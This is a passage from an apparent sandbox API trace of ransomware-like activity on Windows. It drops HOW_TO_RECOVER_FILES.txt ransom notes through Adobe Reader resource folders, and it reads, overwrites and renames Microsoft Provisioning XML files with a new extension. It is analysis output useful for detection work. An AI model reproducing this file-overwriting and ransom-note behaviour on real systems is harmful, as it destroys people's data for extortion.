DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt.gоod")) returned 1 [0113.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fceb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0113.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebbb0) returned 1 [0113.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0113.313] GetFileType (hFile=0x20c) returned 0x1 [0113.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb20) returned 1 [0113.313] GetFileType (hFile=0x20c) returned 0x1 [0113.313] WriteFile (in: hFile=0x20c, lpBuffer=0x348ada0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcebc78, lpOverlapped=0x0 | out: lpBuffer=0x348ada0*, lpNumberOfBytesWritten=0x1fcebc78*=0x5d0, lpOverlapped=0x0) returned 1 [0113.314] CloseHandle (hObject=0x20c) returned 1 [0113.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0113.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec5e0) returned 1 [0113.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0113.315] GetFileType (hFile=0x20c) returned 0x1 [0113.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec550) returned 1 [0113.315] GetFileType (hFile=0x20c) returned 0x1 [0113.316] WriteFile (in: hFile=0x20c, lpBuffer=0x348e6a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcec6a8, lpOverlapped=0x0 | out: lpBuffer=0x348e6a8*, lpNumberOfBytesWritten=0x1fcec6a8*=0x5d0, lpOverlapped=0x0) returned 1 [0113.317] CloseHandle (hObject=0x20c) returned 1 [0113.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0113.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0113.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0113.326] GetFileType (hFile=0x20c) returned 0x1 [0113.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0113.326] GetFileType (hFile=0x20c) returned 0x1 [0113.327] WriteFile (in: hFile=0x20c, lpBuffer=0x3491f90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3491f90*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0113.328] CloseHandle (hObject=0x20c) returned 1 [0113.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0113.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0113.328] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0113.328] GetFileType (hFile=0x20c) returned 0x1 [0113.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0113.328] GetFileType (hFile=0x20c) returned 0x1 [0113.329] WriteFile (in: hFile=0x20c, lpBuffer=0x3495858*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x3495858*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0113.330] CloseHandle (hObject=0x20c) returned 1 [0113.330] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0113.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0113.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0113.331] GetFileType (hFile=0x20c) returned 0x1 [0113.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0113.331] GetFileType (hFile=0x20c) returned 0x1 [0113.332] WriteFile (in: hFile=0x20c, lpBuffer=0x34990a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x34990a8*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0113.332] CloseHandle (hObject=0x20c) returned 1 [0113.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0113.333] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpFilePart=0x0) returned 0x4c [0113.333] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.334] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.334] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0113.334] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0113.335] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0113.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0113.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0113.335] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpFilePart=0x0) returned 0x4c [0113.335] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.335] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.336] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0113.336] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0113.336] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0113.336] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.336] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0113.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0113.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0113.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0113.337] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x34a9230 | out: lpFileInformation=0x34a9230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7)) returned 1 [0113.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0113.337] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0113.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0113.337] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0113.337] GetFileType (hFile=0x20c) returned 0x1 [0113.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0113.337] GetFileType (hFile=0x20c) returned 0x1 [0113.337] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8c7 [0113.337] ReadFile (in: hFile=0x20c, lpBuffer=0x34a9e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34a9e10*, lpNumberOfBytesRead=0x1fcee238*=0x8c7, lpOverlapped=0x0) returned 1 [0113.339] CloseHandle (hObject=0x20c) returned 1 [0114.016] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0114.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0114.016] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0114.562] GetFileType (hFile=0x6e4) returned 0x1 [0114.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0114.563] GetFileType (hFile=0x6e4) returned 0x1 [0114.563] WriteFile (in: hFile=0x6e4, lpBuffer=0x358c898*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x358c898*, lpNumberOfBytesWritten=0x1fcee148*=0x8d0, lpOverlapped=0x0) returned 1 [0114.564] CloseHandle (hObject=0x6e4) returned 1 [0114.564] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0114.564] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0114.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0114.564] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x407f80b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8d0)) returned 1 [0114.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0114.564] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.gоod")) returned 1 [0114.565] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0114.565] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x358dbc8 | out: lpFileInformation=0x358dbc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0114.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0114.565] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0114.565] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0114.566] GetFileType (hFile=0x6e4) returned 0x1 [0114.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0114.566] GetFileType (hFile=0x6e4) returned 0x1 [0114.566] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0114.566] ReadFile (in: hFile=0x6e4, lpBuffer=0x358e000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x358e000*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0114.567] CloseHandle (hObject=0x6e4) returned 1 [0114.600] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0114.600] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0114.601] GetFileType (hFile=0x6e4) returned 0x1 [0114.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0114.601] GetFileType (hFile=0x6e4) returned 0x1 [0114.601] WriteFile (in: hFile=0x6e4, lpBuffer=0x36059a8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36059a8*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0114.852] CloseHandle (hObject=0x6e4) returned 1 [0114.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: 